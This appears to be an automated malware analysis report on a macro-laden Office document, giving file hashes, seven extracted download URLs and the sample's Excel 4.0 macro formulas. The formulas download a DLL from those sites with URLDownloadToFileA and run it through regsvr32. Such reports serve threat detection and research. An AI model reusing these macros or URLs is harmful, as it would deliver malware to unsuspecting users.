General
-
Target
0f2bbfe409659f061995b52aa19aef1d11d248af0cec39ef8f9e67a81ea84f06
-
Size
30KB
-
MD5
96313e964314428d30542dc66de90ab0
-
SHA1
38694a4469cfbcb460932f8b33fad2208992529c
-
SHA256
0f2bbfe409659f061995b52aa19aef1d11d248af0cec39ef8f9e67a81ea84f06
-
SHA512
048a71a1dc7ccd7f269cc14f1cc0060f004100bd37a9aaad07adc96255922f7dcddd05677e3043607b08e2d194347eb2fd9c89e50641b6adfd1f9fb2b6d47bd0
-
SSDEEP
384:n842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:gHFhNZliH2ydFfPdkqstJhE6v
Malware Config
Extracted
http://henrysfreshroast.com/6cc4ts0bkrOlXq/
http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/
http://blog.centerking.top/wp-includes/DBq5jx/
http://polarrefrigeracao.com.br/fontes/y7QpO/
http://filmsetserie.dx.am/img/ghCY9J5KD1J/
https://vagbharati.in/wp-admin/nYBb/
http://advogadogoiania.com.br/wp-includes/O9Az4/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/6cc4ts0bkrOlXq/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/DBq5jx/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://polarrefrigeracao.com.br/fontes/y7QpO/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://filmsetserie.dx.am/img/ghCY9J5KD1J/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vagbharati.in/wp-admin/nYBb/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/O9Az4/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
0f2bbfe409659f061995b52aa19aef1d11d248af0cec39ef8f9e67a81ea84f06